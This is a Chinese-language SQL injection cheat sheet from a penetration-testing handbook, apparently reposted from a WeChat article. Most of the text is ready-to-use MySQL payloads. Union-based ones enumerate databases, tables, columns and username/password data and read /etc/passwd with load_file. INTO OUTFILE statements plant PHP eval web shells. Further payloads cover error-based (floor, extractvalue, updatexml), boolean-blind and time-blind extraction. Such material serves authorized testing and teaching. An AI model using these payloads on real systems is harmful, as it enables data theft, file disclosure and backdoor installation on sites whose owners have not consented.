【渗透测试实用手册】 SQL 注入漏洞
2022-12-12 03:27:44 Author: 利刃信安(查看原文) 阅读量:8 收藏

测试过程

01 联合查询

0001 利用前提

        页面上有显示位

0002 优点

        方便 快捷 易于利用

0003 缺点

        需要显示位

0x001 判断是否存在SQL注入,同时判断注入类型 整型注入还是字符串型注入

判断注入

        and 1=1 / and 1=2  回显页面不同(整型判断)

        单引号'判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

        转义符\

        -1 / +1  回显下一个或者上一个页面(整型判断)

        and sleep(5)  判断页面返回时间

0x002 判断显示位长度,判断列数(二分法)

        order by 10

        order by 20

        order by 15

        ...

0x003 判断显示位,UNION联合查询

        union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004 查询获取当前所用的数据库用户名 数据库名 数据库路径 操作系统版本 MySQL数据库版本

        user()---数据库用户名

        database()---数据库名

        @@basedir---数据库路径

        @@datadir---数据库里面data路径

        @@version_compile_os---操作系统版本

        version()---MySQL数据库版本

        @@version---MySQL数据库版本

0x005 查找列出所有的数据库名称

        limit一个一个打印出来数据库名字

        select concat(schema_name) from information_schema.schemata limit 0,1

        group_concat一次性全部显示数据库名字

        select group_concat(schema_name) from information_schema.schemata

0x006 查找列出所有的表名

        limit一个一个打印出来表名

        select concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) limit 0,1

        group_concat一次性全部显示表名

        select group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制)

0x007 查找列出所有的字段名称

        limit一个一个打印出来字段名称

        select concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) limit 0,1

        group_concat一次性显示全部字段名称

        select group_concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制)

0x008 查找列出所有需要的字段数据

        limit一个一个打印出来字段数据

        select concat(0x7e,username,0x7e,password) from 数据库名字.表名 limit 0,1

        group_concat一次性全部显示字段数据

        select group_concat(0x7e,username,0x7e,password) from 数据库名字.表名

0x009 load_file()读取文件操作

0001 前提 

        知道文件的绝对路径

0002 能够使用union查询

        对web目录有写的权限

        union select 1,load_file('/etc/passwd'),3,4,5#

        0x2f6574632f706173737764

        union select 1,load_file(0x2f6574632f706173737764),3,4,5#

        路径没有加单引号的话必须转换十六进制

        要是想省略单引号的话必须转换十六进制

0x010 into outfile写入文件操作

0001 前提

        文件名必须是全路径(绝对路径)

002 用户必须有写文件的权限

        没有对单引号'过滤

        select '<?php phpinfo(); ?>' into outfile 'C:\\Windows\\tmp\\8.php'

        select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\\Windows\\tmp\\8.php'

        路径里面两个反斜杠\\可以换成一个正斜杠/

        PHP语句没有单引号的话,必须转换成十六进制

        要是想省略单引号'的话,必须转换成十六进制

        <?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

        <?php @eval($_POST["admin"]); ?>

        <?php phpinfo(); ?>

        <?php eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制

0x011 一句话木马

        <?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

        <?php @eval($_POST["admin"]); ?>

        <?php phpinfo(); ?>

        <?php eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制

02 Error-based SQL injection

0001 利用前提

        页面上没有显示位,但是需要输出SQL语句执行错误信息.比如mysql_error()

0002 优点

        不需要显示位

0003 缺点

        需要输出mysql_error的报错信息

001 通过floor报错[没有任何字符长度限制]

0001 固定句式 

        and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0002 查询数据库的个数 

        select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata

0003 payload组合语句 

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0004 获取数据库名字 

        select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1

0005 payload组合语句 

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

002 通过ExtractValue报错[最多32字符]

0001 固定句式 

        and extractvalue(1,(payload))

        或者记忆成 

        and extractvalue(1,(concat(0x7e,(payload),0x7e)))

0002 查询数据库版本号 

        and extractvalue(1,(concat(0x7e,(select @@version),0x7e)))

        或者写成 

        and extractvalue(1,(concat(0x7e,(select version()),0x7e)))

003 通过UpdateXML报错[最多32字符]

0001 固定句式 

        +and updatexml(1,(payload),1)

        或者记忆成 

        +and updatexml(1,(concat(0x7e,(payload),0x7e)),1)

0002 查询数据库版本号 

        +and updatexml(1,(concat(0x7e,(select @@version),0x7e)),1)

        或者写成 

        +and updatexml(1,(concat(0x7e,(select version()),0x7e)),1)

        +加号可以换成空格

03 Boolean-based blind SQL injection

0001 利用前提

        页面上没有显示位,也没有输出SQL语句执行报错信息

        只能通过页面返回正常不正常

0002 优点

        不需要显示位,不需要报错信息

0003 缺点

        速度慢,耗费大量时间

001 exists() 用于检查子查询是否只要返回一行数据,返回True或者False

        and exists(select user())

        ?id=1' and exists(select * from information_schema.tables) --+

002 ascii() 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NULL.

        and ascii('r')=114

        and ascii(substr((select user()),1,1))=114

003 substr() substr(string,num start,num length) string 字符串 start       起始位置 length 长度

        and substr((select user()),1,1)='r'

        and substr((select user()),2,1)='o'

        ?id=1' and exists(select * from information_schema.tables) --+

        ?id=1' and (select length(version()))=6 --+ //判断version()返回字符串的长度

        ?id=1' and (select count(distinct table_schema) from information_schema.tables)=11 --+

        //判断有多少数据库,自动去除空数据库

        ?id=1' and (select count(distinct table_schema) from information_schema.columns)=11 --+ //判断有多少数据库,自动去除空数据库

        select count(schema_name) from information_schema.schemata

        ?id=1' and (select count(schema_name) from information_schema.schemata)=12 --+ //判断有多少数据库,自动去除空数据库

        and ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,1),1,1))=105 //判断第一个库的第一个字符

04 Time-based blind SQL injection

0001 利用前提

        页面没有显示位,也没有输出SQL语句执行错误信息

        正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒

0002 优点

        不需要显示位,不需要出错信息

0003 缺点

速度慢,耗费大量时间

001 IF(Condition,A,B)函数

        当Contion为TRUE时候,返回A;当Contion为FALSE时候,返回B.

        eg:if(ascii(substr('hello',1,1))=104,sleep(5),1)

        可以换成双引号 if(ascii(substr("hello",1,1))=104,sleep(5),1)

        and if(ascii((select @@version,1,1))=53,sleep(5),1)

        if(ascii(substr((payload),1,1))=114,sleep(5),1)

        if((select count(distinct table_schema) from information_schema.tables)=17,sleep(5),1)

        //获取当前数据库个数

        if(ascii(substr((select user(),1,1))=114,sleep(5),1) //获取当前连接数据库用户第一个字母

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1))=105,sleep(5),1) //判断第一个数据库第一个字符

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1))=110,sleep(5),1) //判断第一个数据库第一个字符


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247499445&idx=1&sn=9cfd5d5664427cc897146a090353dd66&chksm=fbfb4e78cc8cc76ea02955f5a16622ec607f9598b0865dee8b7db233850ff405acd3f5386a09#rd
如有侵权请联系:admin#unsafe.sh